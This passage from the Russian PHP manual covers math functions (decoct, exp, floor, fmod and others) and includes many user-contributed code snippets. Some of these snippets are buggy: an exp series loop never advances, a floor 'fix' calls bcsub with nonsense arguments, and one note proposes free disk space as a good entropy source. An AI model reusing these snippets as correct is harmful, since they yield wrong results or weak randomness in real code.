} //colorMeter
?>

and use it like this:

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0.0; $i <= 1.0; $i += 0.10)
{
    $RGB = colorMeter($i);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>

<P>

<TABLE BORDER=1 WIDTH="300">
<?php
for ($i = 0; $i <= 100; $i += 10)
{
    $RGB = colorMeter(intval($i), true);
    print "<TR><TD BGCOLOR='".$RGB."'>".$i."</TD><TD>
<PRE>".$RGB."</PRE></TD></TR>\n";
}
?>
</TABLE>
thr at recide dot net 09-Feb-2004 04:39
/*
* RGB-Colorcodes(i.e: 255 0 255) to HEX-Colorcodes (i.e: FF00FF)
*/
function rgb2hex($rgb){
    if(!is_array($rgb) || count($rgb) != 3){
        echo "Argument must be an array with 3 integer elements";
        return false;
    }
    for($i=0;$i<count($rgb);$i++){
        if(strlen($hex[$i] = dechex($rgb[$i])) == 1){
            $hex[$i] = "0".$hex[$i];
        }
    }
    return $hex;
}
/* Example */
print_r(rgb2hex(array(10,255,255)));
mina86 at tlen dot pl 05-Feb-2004 09:05
Easiest :P way to create random hex color:

<?php
function rand_color() {
    return substr('00000' . dechex(mt_rand(0, 0xffffff)), -6);
}
?>
huda m elmatsani <justhuda at netscape dot net> 16-Sep-2003 03:36
Create Random Hex Color:

function make_seed() {
   list($usec, $sec) = explode(' ', microtime());
   return (float) $sec + ((double) $usec * 100000);
}

function rand_hex() {
   mt_srand(make_seed());
   $randval = mt_rand(0,255);
   //convert to hex
   return sprintf("%02X",$randval);
}

function random_color(){
   return "#".rand_hex().rand_hex().rand_hex();
}

hme ;)
allan-wegan at allan-wegan dot de 19-Jul-2003 10:53
now, here is a nice and small function to convert integers to hex strings and it avoids use of the DECHEX funtion because that function changed it's behavior too often in the past (now, in PHP version 4.3.2 it works with numbers bigger than 0x7FFFFFFF correctly, but i need to be backward compatible).

function &formatIntegerForOutput($value) {
    $text = "00000000";
    $transString = "0123456789ABCDEF";
    // handle highest nibble (nibble 7):
        $nibble = $value & 0x70000000;
        $nibble >>= 28;
        if ($value < 0) {
            $nibble = $nibble | 0x00000008;
        }
        $text[0] = $transString[$nibble];
        $value &= 0x0FFFFFFF;
    // nibbles 0 to 6:
        for ($a = 7; $a > 0; $a --) {
            $nibble = $value & 0x0000000F;
            $text[$a] = $transString[$nibble];
            $value >>= 4;
        }
    return $text
}

this function should be not too slow and is really simple.
I don't know, if the DECHEX function in the future will pad it's output to ever be 8 characters in length - so for backward compatibility reasons even in future PHP versions i avoided to use it.
monkyNOSPAM at phpfi dot org dot invalid 23-Sep-2002 07:20
Here's how to use bitwise operations for RGB2hex conversion. This function returns hexadesimal rgb value just like one submitted by gurke@bigfoot.com above.

function hexColor($color) {
  return dechex(($color[0]<<16)|($color[1]<<8)|$color[2]);
}

example:

$col[0] = 25;
$col[1] = 255;
$col[2] = 55;

print hexColor($col);
joost at bingopaleis dot com 28-Apr-2002 09:21
Here are two functions that will convert large dec numbers to hex and vice versa. And I really mean LARGE, much larger than any function posted earlier.

<pre>
// Input: A decimal number as a String.
// Output: The equivalent hexadecimal number as a String.
function dec2hex($number)
{
    $hexvalues = array('0','1','2','3','4','5','6','7',
               '8','9','A','B','C','D','E','F');
    $hexval = '';
     while($number != '0')
     {
        $hexval = $hexvalues[bcmod($number,'16')].$hexval;
        $number = bcdiv($number,'16',0);
    }
    return $hexval;
}

// Input: A hexadecimal number as a String.
// Output: The equivalent decimal number as a String.
function hex2dec($number)
{
    $decvalues = array('0' => '0', '1' => '1', '2' => '2',
               '3' => '3', '4' => '4', '5' => '5',
               '6' => '6', '7' => '7', '8' => '8',
               '9' => '9', 'A' => '10', 'B' => '11',
               'C' => '12', 'D' => '13', 'E' => '14',
               'F' => '15');
    $decval = '0';
    $number = strrev($number);
    for($i = 0; $i < strlen($number); $i++)
    {
        $decval = bcadd(bcmul(bcpow('16',$i,0),$decvalues[$number{$i}]), $decval);
    }
    return $decval;
}
</pre>
jfren484 at hotmail dot com 12-Feb-2002 03:47
Here's a function which works for decimal values up to 9007199254740992 (hex 20000000000000).

function dec2hex($dec)
{
  $hex = ($dec == 0 ? '0' : '');

  while ($dec > 0)
  {
    $hex = dechex($dec - floor($dec / 16) * 16) . $hex;
    $dec = floor($dec / 16);
  }

  return $hex;
}
kristoffer at caveo dot se 11-Feb-2002 05:39
Heres a example of dec to html hex gradient. Have fun :)

//Amount of gradients
$l = 20;

//Start color
$start[0] = "255";     //red
$start[1] = "0";     //green
$start[2] = "255";     //blue

//End color
$end[0] = "255";     //red
$end[1] = "255";    //green
$end[2] = "255";    //blue

for ($t = 1; $t < $l;) {

    $x = $x * $t;

    for ($i = 0; $i < 3;) {

        $buffer[$i] = $start[$i] - $end[$i];
        $buffer[$i] = floor($buffer[$i] / $l);
        $rgb[$i] = $start[$i] - ($buffer[$i] * $t);

        if ($rgb[$i] > 255) {

            $rgb[$i] = 255;

        }

        $rgb[$i] = dechex($rgb[$i]);
        $rgb[$i] = strtoupper($rgb[$i]);

        if (strlen($rgb[$i]) < 2) {

            $rgb[$i] = "0$rgb[$i]";

        }

        $i++;

    }

    $color = "$rgb[0]$rgb[1]$rgb[2]";
    echo "$color";
        $t++;

}

?>


Переводит число из десятичной системы счисления в восьмеричную

  • « dechex
  • deg2rad »
  • PHP Manual
  • Математические функции
  • Переводит число из десятичной системы счисления в восьмеричную

decoct

(PHP 4, PHP 5, PHP 7, PHP 8)

decoct — Переводит число из десятичной системы счисления в восьмеричную

Описание

decoct(int $num): string

Возвращает строку, содержащую восьмеричное представление указанного аргумента num. Значение наибольшего числа, которое может быть преобразовано, зависит от платформы. Для 32-битных платформ это обычно 4294967295 в десятичном представлении и 37777777777 в восьмеричном. Для 64-битных платформ это обычно 9223372036854775807 и 777777777777777777777 соответственно.

Список параметров

num

Десятичное значение для преобразования

Возвращаемые значения

Восьмеричное строковое представление num

Примеры

Пример #1 Пример использования decoct()

<?php
echo decoct(15) . "\n";
echo decoct(264);
?>

Результат выполнения данного примера:

17
410

Смотрите также

  • octdec() - Переводит число из восьмеричной системы счисления в десятичную
  • decbin() - Переводит число из десятичной системы счисления в двоичную
  • dechex() - Переводит число из десятичной системы счисления в шестнадцатеричную
  • base_convert() - Преобразование числа между произвольными системами счисления

User Contributed Notes

ethernidee at yandex dot ru 22-Nov-2015 06:48
Negative numbers are not supported.


Преобразует значение из градусов в радианы

  • « decoct
  • exp »
  • PHP Manual
  • Математические функции
  • Преобразует значение из градусов в радианы

deg2rad

(PHP 4, PHP 5, PHP 7, PHP 8)

deg2rad — Преобразует значение из градусов в радианы

Описание

deg2rad(float $num): float

Функция преобразует num из градусов в радианы.

Список параметров

num

Угловая величина в градусах

Возвращаемые значения

Эквивалент num в радианах

Примеры

Пример #1 Пример использования deg2rad()

<?php

echo deg2rad(45); // 0.785398163397
var_dump(deg2rad(45) === M_PI_4); // bool(true)

?>

Смотрите также

  • rad2deg() - Преобразует значение из радианов в градусы

User Contributed Notes

christian dot ubu at NOSPAMHERE dot gmail dot com 13-Mar-2009 07:18
Never use deg2rad() in loops, use $rad = ($deg * M_PI / 180) instead which is faster!


Вычисляет степень числа e

  • « deg2rad
  • expm1 »
  • PHP Manual
  • Математические функции
  • Вычисляет степень числа e

exp

(PHP 4, PHP 5, PHP 7, PHP 8)

exp — Вычисляет степень числа e

Описание

exp(float $num): float

Возвращает e в степени num.

Замечание:

Число e - основание натурального логарифма. Приблизительно равно 2.718282.

Список параметров

num

Степень для возведения

Возвращаемые значения

'e' возводится в степень num

Примеры

Пример #1 Пример использования exp()

<?php
echo exp(12) . "\n";
echo exp(5.7);
?>

Результат выполнения данного примера:

1.6275E+005
298.87

Смотрите также

  • log() - Натуральный логарифм
  • pow() - Возведение в степень

User Contributed Notes

Mohammed AbdelRahman 31-Aug-2014 04:18
Which is the inverse of log(float $arg, e)
zooly at globmi dot com 14-Dec-2010 07:12
PHP does not have the following math function in any extensions:

frexp() - Extract Mantissa and Exponent of the Floating-Point Value

I've digged many C source codes, and found the simplest implementation as follows:

<?php

function frexp ( $float ) {

  $exponent = ( floor(log($float, 2)) + 1 );
  $mantissa = ( $float * pow(2, -$exponent) );

  return(
    array($mantissa, $exponent)
  );

}

print_r(frexp(0.0345));
print_r(frexp(21.539));

?>

Array
(
    [0] => 0.552
    [1] => -4
)
Array
(
    [0] => 0.67309375
    [1] => 5
)

I have compared the results using a lot of floats against C's frexp function - they are the same.

Note that C and PHP uses different float precisions, for example "4619.3" gives:

C: 0.56387939453125, 13
PHP: 0.563879394531, 13

/Assuming default configurations./
Nitrogen 23-Sep-2009 05:54
Just a note about using the submitted codes below..
Their functions have an optional $precision parameter; however, it's not being used properly..

BCMath functions by default do not use decimal precision unless specified by BCScale($precision); or using the extra parameter in the used BC functions.

For example, a blank PHP file with their code.. executing BCExp('5.7'); returns "47" instead of the correct answer of "298.86740096706..."

So for optimum accuracy, I'd suggest setting BCScale to a healthy length before running their codes.
konrad 24-Jan-2007 03:13
working version (checked) of below code is

<?php
  // see bccomp for this code (signed and unsigned zero!)
  function bccomp_zero($amount) {
    return bccomp($amount, (@$amount{0}=="-"?'-':'').'0.0');
  }

  // arbitrary precision function (x^n)/(n)!
  function bcpowfact($x, $n) {
    if (bccomp_zero($n) == 0) return '1';
    if (bccomp($n, '1') == 0) return $x;
    $a = $x; // 1st step: a *= x / 1
    $i = $n;
    while (bccomp($i, '1') == 1) {
      // ith step: a *= x / i
      $a = bcmul($a, bcdiv($x, $i));
      $i = bcsub($i, '1'); // bc idiom for $i--
    }
    return $a;
  }

  // arbitrary precision exp() function
  function bcexp($x, $digits) {
    $sum = $prev_sum = '0.0';
    $error = '0.'.str_repeat('0', $digits-1).'1'; // 0.1*10^-k
    $n = '0.0';
    do {
      $prev_sum = $sum;
      $sum = bcadd($sum, bcpowfact($x, $n));
      $n = bcadd($n, '1'); // bc idiom for $n++
    } while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
    return $sum;
  }
?>
boards at gmail dot com 26-Apr-2006 10:18
Note regarding the mathematical function exp(x):

To continue accuracy of the exponential function to an infinite amount of decimal places, one would use the power series definition for exp(x).
(in LaTeX form:)
e^x = \sum_{n=0}^{\infty} \frac{x^n}{n!}

So, to do that in PHP (using BC math):

<?php
// arbitrary precision function (x^n)/(n)!
function bcpowfact($x, $n) {
  if (bccomp($n, '0') == 0) return '1.0';
  if (bccomp($n, '1') == 1) return $x;
  $a = $x; // nth step: a *= x / 1
  $i = $n;
  while (bccomp($i, '1') == 1) {
    // ith step: a *= x / i
    $a = bcmul($a, bcdiv($x, $i));
    $i = bcsub($i, '1'); // bc idiom for $i--
  }
  return $a;
}

// arbitrary precision exp() function
function bcexp($x, $decimal_places) {
  $sum = $prev_sum = '0.0';
  $error = bcdiv(bcpow('10', '-'.$decimal_places), 10); // 0.1*10^-k
  $n = '0';
  do {
    $prev_sum = $sum;
    $sum = bcadd($sum, bcpowfact($x, $n));
  }
  while (bccomp(bcsub($sum, $prev_sum), $error) == 1);
  return $sum;
}
?>


Возвращает exp($num) - 1, рассчитанное таким образом, что результат точен, даже если значение number близко к нулю.

  • « exp
  • fdiv »
  • PHP Manual
  • Математические функции
  • Возвращает exp($num) - 1, рассчитанное таким образом, что результат точен, даже если значение number близко к нулю.

expm1

(PHP 4 >= 4.1.0, PHP 5, PHP 7, PHP 8)

expm1 — Возвращает exp($num) - 1, рассчитанное таким образом, что результат точен, даже если значение number близко к нулю.

Описание

expm1(float $num): float

expm1() возвращает эквивалент выражения 'exp(num) - 1', рассчитанный таким образом, что результат точен, даже если значение num близко к нулю, тогда как 'exp (num) - 1' будет неточно из-за вычитания двух почти равных чисел.

Список параметров

num

Входное значение

Возвращаемые значения

'e' в степени num минус один

Смотрите также

  • log1p() - Возвращает log(1 + number), рассчитанный так, что результат точен, даже если значение number близко к нулю
  • exp() - Вычисляет степень числа e

User Contributed Notes

brettz9 AAT yah 02-Apr-2009 08:07
Note that exp(x)-1 can be approximated by x + x^2/2! + ... + x^n/n!  and for any value
hagen at von-eitzen dot de 24-Feb-2003 03:57
Compare this to log1p (which is its inverse).

Also, You may have to use a similar workaraound in case the underlying C library
does not support expm1:

<?php
function expm1($x) {
     return ($x>-1.0e-6 && $x<1.0e-6) ? ($x + $x*$x/2) : (exp($x)-1);
}
?>


Делит одно число на другое в соответствии с IEEE 754

  • « expm1
  • floor »
  • PHP Manual
  • Математические функции
  • Делит одно число на другое в соответствии с IEEE 754

fdiv

(PHP 8)

fdiv — Делит одно число на другое в соответствии с IEEE 754

Описание

fdiv(float $num1, float $num2): float

Возвращает результат деления num1 на num2 в виде числа с плавающей точкой. Если num2 равен нулю, то будет возвращено либо INF, либо -INF, либо NAN.

Обратите внимание, что при сравнении NAN с помощью == или === с чем угодно, включая его самого, результат всегда будет false.

Список параметров

num1

Делимое

num2

Делитель

Возвращаемые значения

Число с плавающей точкой, являющееся результатом деления num1 на num2.

Примеры

Пример #1 Пример использования fdiv()

<?php
var_dump(fdiv(5.7, 1.3)); // float(4.384615384615385)
var_dump(fdiv(4, 2)); // float(2)
var_dump(fdiv(1.0, 0.0)); // float(INF)
var_dump(fdiv(-1.0, 0.0)); // float(-INF)
var_dump(fdiv(0.0, 0.0)); // float(NAN)
?>

Смотрите также

  • / - Деление чисел с плавающей точкой
  • intdiv() - Целочисленное деление
  • fmod() - Модуль

User Contributed Notes

There are no user contributed notes for this page.


Округляет дробь в меньшую сторону

  • « fdiv
  • fmod »
  • PHP Manual
  • Математические функции
  • Округляет дробь в меньшую сторону

floor

(PHP 4, PHP 5, PHP 7, PHP 8)

floor — Округляет дробь в меньшую сторону

Описание

floor(int|float $num): float

Возвращает ближайшее целое число (как тип float), округляя num в меньшую сторону.

Список параметров

num

Числовое значение для округления

Возвращаемые значения

Значение num, округлённое в меньшую сторону до ближайшего целого числа. Возвращаемое значение функции floor() по-прежнему типа float. В случае возникновения какой-либо ошибки (например, при передаче массива), эта функция вернёт false.

Список изменений

Версия | Описание
8.0.0 | num больше не принимает внутренние объекты, поддерживающие числовое преобразование.

Примеры

Пример #1 Пример использования floor()

<?php
echo floor(4.3); // 4
echo floor(9.999); // 9
echo floor(-3.14); // -4
?>

Смотрите также

  • ceil() - Округляет дробь в большую сторону
  • round() - Округляет число типа float

User Contributed Notes

Antonio 24-Oct-2019 12:14
<?php
echo (2.3 * 100) . ' - ' . round(2.3 * 100, 0) .  ' - ' . floor(2.3 * 100);
?>.

Result:
230 - 230 - 229

Be careful!
itbudaoweng at gmail dot com 23-Jul-2018 05:09
If you want to ceil decimal, DO NOT USE

function floordec($zahl,$decimals=2){
     return floor($zahl*pow(10,$decimals))/pow(10,$decimals);
}

if you call it floordec(0.58, 2) it return 0.57.

[USE below instead,both work fun]

/**
 *
 * @param $money_yuan
 * @param int $scale
 * @return string
 */
static function floor($money_yuan, $scale=2) {
     return bcsub($money_yuan, "-", 0, $scale);
}

/**
 * @param $money_yuan
 * @param int $scale
 * @return string
 */
static function floor2($money_yuan, $scale = 2) {
    return substr(sprintf("%.".(++$scale)."f", $money_yuan), 0, -1);
}
Leon Grdic 27-Dec-2015 09:59
Warning: do not use Seppili's function to floor with decimals. It will lead you to a lot of trouble because of float number precision.

For example floordec(0.29, 2) will result in 0.28.

Here's a little fix that will help you get around some problems:

<?php
function floordec($value,$decimals=2){
    return floor($value*pow(10,$decimals)+0.5)/pow(10,$decimals);
}
?>
josoort at home dot nl 12-May-2014 07:08
You can simply make a floor with decimals function by using the round() function and subtract 0.05 to the value if the value must have 1 decimal accuracy, or 0.005 for 2 decimals accuracy, or 0.0005 for 3 decimals etc.

Example :

function floorDec($input, $decimals)
{
    return round($input - (5 / pow(10, $decimals + 1)), $decimals);
}
till at tonda dot de 24-Jan-2014 12:55
Note that the use of floor may (intended or not) uncover false integers:

<?php

$arrRoots=array();
$arrRoots[]=pow(27,(1/3));        // pow(3,3)=27
$arrRoots[]=pow(64,(1/3));        // pow(4,3)=64

for($i=0;$i<count($arrRoots);$i++)
{
if($arrRoots[$i]!=floor($arrRoots[$i]))
  echo '<div style="background-color:#ffff99">';
echo 'Unfloored value: '.$arrRoots[$i].' (Format float? '.is_float($arrRoots[$i]).')<br />';
echo 'Floored value: '.floor($arrRoots[$i]).' (Format float? '.is_float(floor($arrRoots[$i])).')';
if($arrRoots[$i]!=floor($arrRoots[$i]))
  echo '</div>';
echo '<br /><br />';
}

?>

The directly retrieved cubic root of 64 (by pow with a fraction exp) equals 4; an outcome any maths teacher will reckon correct.

Yet bringing the same number - the cubic root of 64 retrieved in the very same manner - to the floor will result in a value of 3 only. This behaviour is in no way exceptional.

It is pivotal to check whether you are dealing with genuine integers or floats in disguise. floor should be used carefully.
maikl 23-Jan-2014 08:45
A correction to the funcion floor_dec from the user "php is the best".
If the number is 0.05999 it returns 0.59 because the zero at left position is deleted.
I just added a '1' and after the floor or ceil call remove with a substr.
Hope it helps.

function floor_dec($number,$precision = 2,$separator = '.') {
  $numberpart=explode($separator,$number);
  $numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
  if($numberpart[0]>=0) {
    $numberpart[1]=substr(floor('1'.$numberpart[1]),1);
  } else {
    $numberpart[1]=substr(ceil('1'.$numberpart[1]),1);
  }
  $ceil_number= array($numberpart[0],$numberpart[1]);
  return implode($separator,$ceil_number);
}
php is the best 20-Apr-2012 06:36
Floor decimal numebrs with precision:

function floor_dec($number,$precision,$separator)
{
    $numberpart=explode($separator,$number);
    $numberpart[1]=substr_replace($numberpart[1],$separator,$precision,0);
    if($numberpart[0]>=0)
    {$numberpart[1]=floor($numberpart[1]);}
    else
    {$numberpart[1]=ceil($numberpart[1]);}

     $ceil_number= array($numberpart[0],$numberpart[1]);
    return implode($separator,$ceil_number);
}

echo floor_dec(1.125,2,"."); //1.12
echo floor_dec(-1.3436,3,"."); //-1.344
echo floor_dec(102938.1,4,"."); //102938.1
seppili_ at gmx dot de 05-Mar-2010 08:52
I use this function to floor with decimals:
<?php

function floordec($zahl,$decimals=2){
     return floor($zahl*pow(10,$decimals))/pow(10,$decimals);
}
?>
lewis at lewishenshall dot co dot uk 25-Feb-2009 11:12
If you're wanting to round down to the nearest hundred:

<?php
function rounddowntohundred($theNumber) {
    if (strlen($theNumber)<3) {
    $theNumber=$theNumber;
    } else {
    $theNumber=substr($theNumber, 0, strlen($theNumber)-2) . "00";

    }
    return $theNumber;

}
?>
fragov at gmail dot com 14-Jan-2009 09:39
Have solved a "price problem":

<?php
$peny = floor($row->price*1000) - floor($row->price)*1000)/10;
?>
benrr101 at gmail dot com 11-Jun-2008 09:39
But, if you want the number closest to zero, you could use this:
<?php
  if($foo > 0) {
    floor($foo);
  } else {
    ceil($foo);
  }
?>

-benrr101
greene dot mc at removethispart dot gmail dot com 27-May-2008 01:08
I believe this behavior of the floor function was intended.  Note that it says "the next lowest integer".  -1 is "higher" than -1.6.  As in, -1 is logically greater than -1.6.  To go lower the floor function would go to -2 which is logically less than -1.6.

Floor isn't trying to give you the number closest to zero, it's giving you the lowest bounding integer of a float.

In reply to Glen who commented:
 Glen
01-Dec-2007 04:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jay at w3prodigy dot com 25-Mar-2008 12:01
Note:

<?php
$int = 0.99999999999999999;
echo floor($int); // returns 1
?>

and

<?php
$int = 0.9999999999999999;
echo floor($int); // returns 0
?>
Glen 01-Dec-2007 01:22
<?php
  echo floor(1.6);  // will output "1"
  echo floor(-1.6); // will output "-2"
?>

instead use intval (seems to work v5.1.6):

<?php
  echo intval(1.6);  // will output "1"
  echo intval(-1.6); // will output "-1"
?>
jolyon at mways dot co dot uk 10-Aug-2004 09:41
Beware of FLOAT weirdness!

Floats have a mind of their own, and what may look like an integer stored in a float isn't.

Here's a baffling example of how floor can be tripped up by this:

<?php
$price = 79.99;

print $price."\r\n";     // correct result, 79.99 shown

$price = $price * 100;

print $price."\r\n";    // correct result, 7999 shown

print floor($price);    // 7998 shown! what's going on?
?>

The thing to remember here is that the way a float stores a value makes it very easy for these kind of things to happen. When the 79.99 was multiplied by 100, the actual value stored in the float was probably something like 7998.9999999999999999999999999999999999, PHP would print out 7999 when the value is displayed but floor would therefore round this down to 7998.

THe moral of this story - never use float for anything that needs to be accurate! If you're doing prices for products or a shopping cart, then always use an integer and store prices as a number of pence, you'll thank me for this later :)
illyena at musefish dot net 12-May-2004 03:53
For calculating the number of days, hours, minutes and seconds to an event.

<?php
$then = date(mktime(8,0,0,6,25,2004)); //remember that mktime is hour,min,sec,month,day,year
$now = date("U"); // "U" is the number of seconds since the epoch, equivilant to using "YmdHis"

$time = $then - $now; //gets the number of seconds between now and the event
$days = floor($time/86400); //rounds down to the whole number, in this case # of days
echo $days." Days";
$time = $time - ($days*86400); //leaves you with the amount of time ramaining after subtracting the days
$hours = floor($time/3600); //rounds down to the whole number, in this case # of hours
echo $hours." Hours";
$time = $time - ($hours*3600); //leaves you with the amount of time ramaining after subtracting the hours
$min = floor($time/60); //rounds down to the whole number, in this case # of minutes
echo $min." Minutes";
$sec = $time - ($min*60); //leaves you with the amount of time ramaining after subtracting the minutes which is equivilant to the remainins seconds
echo $sec." Seconds";
?>
PHP Helper 20-Dec-2003 02:39
floor basically truncates, or chops off everything to the right of a decimal. For instance, if you have a length of 5.1234, but just wanted the whole number, you could use the following code:

<?php
$length = 5.1234; //this is our original length
$length = floor($length); //length is truncated, original variable name is kept
print "$length"; //this prints our result
?>

This code would print the following: 5

Now, although there is a specific function in PHP for rounding, rounding can also be performed with the floor function. Let's say we wanted to round the length to the hundredths place.

<?php
$length = 5.1234;
$length = floor(($length) * 100 + .5) * .01;
print "$length";
?>

The result is: 5.12

This works because, first, the length is multiplied by 100, which moves the decimal point to the right two places, giving us the value of 512.34. Next .5 is added to the length, which gives us a value of 512.84. Then the floor function truncates the value, leaving us with 512. Lastly, to compensate for multiplying by 100 earlier, now we must divide by 100, or in this case, multiply by .01. This moves the decimal point back 2 places to it's original place and gives us the rounded value of 5.12.

We can also round to other values, such as the thousandths, by adjusting the code as follows:

<?php
$length = 5.1234;
$length = floor(($length) * 1000 + .5) * .001;
print "$length";
?>

Result: 5.123
10-Sep-2002 03:08
mathematical functions lack a floating point version of the modulo operation, which returns the difference between the floor() of the argument and the argument itself:

<?php
function fmod($value) {
  return $value - floor($value);
}
?>

Very useful with trigonometric functions to reduce the angle argument to a circle that includes angle 0.

Useful also to reduce an arbitrarily large floating point value into an entropy source, by first transforming this value into a pair using logarithm functions with distinct bases (add 1 if the function can return 0, to avoid floating point errors with logarithms!):

<?php
$f = 1 + @disk_free_space("/tmp");
$r = (int)(fmod(Log($f)) * 0x7FFFFFFF)
^ (int)(fmod(Log10($f)) * 0x7FFFFFFF)
?>

Then $r can be used as a good entropy source, if the free space in your temporary folder used by PHP is constantly evolving within a large range of values.

You can combine this value by xoring it with other values such as time(), (int)microtime(), ip2long($_SERVER['REMOTE_ADDR'], $_SERVER['REMOTE_PORT'], getmypid(), ...


Возвращает дробный остаток от деления по модулю

  • « floor
  • hexdec »
  • PHP Manual
  • Математические функции
  • Возвращает дробный остаток от деления по модулю

fmod

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

fmod — Возвращает дробный остаток от деления по модулю

Описание

fmod(float $num1, float $num2): float

Возвращает дробный остаток от деления делимого (num1) и делителя (num2). Остаток (r) определяется так: x = i * y + r, где i - некоторое целое. Если y не равен нулю, то r имеет такой же знак, как num1 и величину, меньшую или равную величине num2.

Список параметров

num1

Делимое.

num2

Делитель.

Возвращаемые значения

Остаток от операции деления num1/num2

Примеры

Пример #1 Пример использования fmod()

<?php
$x = 5.7;
$y = 1.3;
$r = fmod($x, $y);
// $r равно 0.5, потому что 4 * 1.3 + 0.5 = 5.7
?>

Смотрите также

  • / - деление с плавающей точкой
  • % - целочисленный остаток
  • intdiv() - целочисленное деление

User Contributed Notes

radoslaw dot roszkowski at gmail dot com 20-Jun-2018 11:43
Do not relly on that function, for example:

$a = "7.191"
$b =  "2.397000"

if(fmod(floatval($a), floatval($b)) === 0.0) {
..
//is false, becouse
//float(4.4408920985006E-16) != 0.0
dan danschafer net 30-May-2018 03:26
WARNING: Due to how floating point numbers work, fmod() and any simple alternatives are problematic when there is either a massive orders of magnitude different between the input $x and $y, or the input and output values. If you need to work with large numbers or arbitrary precision, it is best to work with something like BC Math or GMP.

When working around fmod()'s problems, remember that floor() always goes towards -INF, not 0. This causes a commonly proposed fmod() alternative to only work with positive numbers:
<?php
function fmod_positive_only($x, $y) {
    return $x - floor($x/$y) * $y;
}
?>
Given these simplistic input values:
fmod_positive_only(-5, 3) = 1 (wrong)
-5 % 3 = -2 (correct)

Correctly removing the decimal part of the quotient can be achieved with either casting to an int (always goes towards zero) or dynamically choosing ceil() or floor(). Dynamically choosing floor or ceil in an attempt to keep precision is overkill. If your $x and $y values are so different that it suffers from an overflow problem when casting, it was probably going to have precision problems anyway (see warnings below).

<?php
function fmod_overkill($x, $y) {
    if (!$y) { return NAN; }
    $q = $x / $y;
    $f = ($q < 0 ? 'ceil' : 'floor');
    return $x - $f($q) * $y;
}
?>

This is the "best" alternative for fmod() when given "normal" numbers.
<?php
function fmod_alt($x, $y) {
    if (!$y) { return NAN; }
    return floatval($x - intval($x / $y) * $y);
}
?>

WARNING: Even when you get a non-zero response, know your input numbers and when fmod() can go wrong. For large values or depending on your input variable types, float still may not contain enough precision to get back the correct answer. Here are a few problems with fmod() and their alternatives.

PHP_INT_MAX = 9223372036854775807
fmod(PHP_INT_MAX, 2) = 0 (wrong)
fmod_alt(PHP_INT_MAX, 2) = 0 (wrong)
PHP_INT_MAX % 2 = 1 (correct)

fmod(PHP_INT_MAX, PHP_INT_MAX - 1) = 0 (wrong)
fmod_alt(PHP_INT_MAX, PHP_INT_MAX - 1) = 1 (correct)
fmod_alt(PHP_INT_MAX, PHP_INT_MAX - 1.0) = 0 (wrong)
PHP_INT_MAX % (PHP_INT_MAX - 1) = 1 (correct)
PHP_INT_MAX % (PHP_INT_MAX - 1.0) = 9223372036854775807 (wrong)

fmod(PHP_INT_MAX, 131) =  98 (wrong)
fmod_alt(PHP_INT_MAX, 131) = 359 (wrong)
fmod_positive_only(PHP_INT_MAX, 131) = 0 (wrong)
PHP_INT_MAX % 131 = 97 (correct)
nospam at neonit dot de 04-Jan-2017 10:11
Note that fmod does not behave like a similar function written in PHP itself does due to the lack of fixing floating point representation errors.

Have a look at this:
<?php
var_dump(10 / (10 / 3) === 3.0); // bool(true)
var_dump(fmod(10, 10 / 3)); // float(3.3333333333333)
var_dump(fmod(10, 10 / 3) < 10 / 3); // bool(true)
?>

Internally there is no way of exactly representing the result of 10 / 3, so it will always be a bit above or below the actual result. In this case, the example proves it being a bit above the actual result.

PHP seems quite good at auto-fixing floating point representation errors so they behave like the user would expect it. That's why the first line yields true, although the result is slightly below 3 (like 2.9999999999[something]). I failed to trick PHP into rounding or cropping the result to 2.

However, fmod seems to not apply these fixes during calculations. From 10 / 3 it gets a value slightly below 3, floors it to 2 and returns 10 - 2 * 10 / 3, which is slightly less than the actual result of 10 / 3, but looks like 10 / 3 (third line).

Unfortunately, this is not the expected result. See other notes for high quality fixes.
timo underscore teichert at yahoo dot de 27-Oct-2014 01:40
The behaviour of this function seems to have changed over time.

<?php

echo fmod(3,5);
// php 5.3.2 outputs -2
// php 5.3.8 outputs 3

echo fmod(2,5);
// php 5.3.2 outputs 2
// php 5.3.8 outputs 2

?>

- Timo
KRAER 28-Jan-2014 11:23
To create a list of primes in a bash based on php wich can be resumed after breaking I did use fmod() and some snippets offered by two more users here on php comments.

This will output :
"prime;difference-between-last-and-current-prime"

So credit goes to them. I only did the logfile output.

This will function up to whatever fmod supports as highest value. Just enter the $end value. And do a touch to the logfile followed by chmod 666 so php can access it.

<?php
function tailCustom($filepath, $lines = 1, $adaptive = true) {

        // Open file
        $f = @fopen($filepath, "rb");
        if ($f === false) return false;

        // Sets buffer size
        if (!$adaptive) $buffer = 4096;
        else $buffer = ($lines < 2 ? 64 : ($lines < 10 ? 512 : 4096));

        // Jump to last character
        fseek($f, -1, SEEK_END);

        // Read it and adjust line number if necessary
        // (Otherwise the result would be wrong if file doesn't end with a blank line)
        if (fread($f, 1) != "\n") $lines -= 1;

        // Start reading
        $output = '';
        $chunk = '';

        // While we would like more
        while (ftell($f) > 0 && $lines >= 0) {

            // Figure out how far back we should jump
            $seek = min(ftell($f), $buffer);

            // Do the jump (backwards, relative to where we are)
            fseek($f, -$seek, SEEK_CUR);

            // Read a chunk and prepend it to our output
            $output = ($chunk = fread($f, $seek)) . $output;

            // Jump back to where we started reading
            fseek($f, -mb_strlen($chunk, '8bit'), SEEK_CUR);

            // Decrease our line counter
            $lines -= substr_count($chunk, "\n");

        }

        // While we have too many lines
        // (Because of buffer size we might have read too many)
        while ($lines++ < 0) {

            // Find first newline and remove all text before that
            $output = substr($output, strpos($output, "\n") + 1);

        }

        // Close file and return
        fclose($f);
        return trim($output);

    }

function isPrime( $num )
{
    for( $i = 2; $i*$i <= $num; $i++ )
        if( !fmod($num,$i) )
            return FALSE;

    return TRUE;
}

$logfile = 'prim_save.log';

$lastline = explode(";", tailCustom($logfile));
$begin = ($lastline[0] +1);
$lastprime = $lastline[0];

$end = 999999999999999999999999999999999999;

$fp = fopen($logfile, 'a');
//Lineformat    $i.';'.$difference.';'."\n"

for($i = $begin; $i<$end; $i++)
{
    if(isPrime($i) == TRUE)
    {
        $difference = $i - $lastprime;
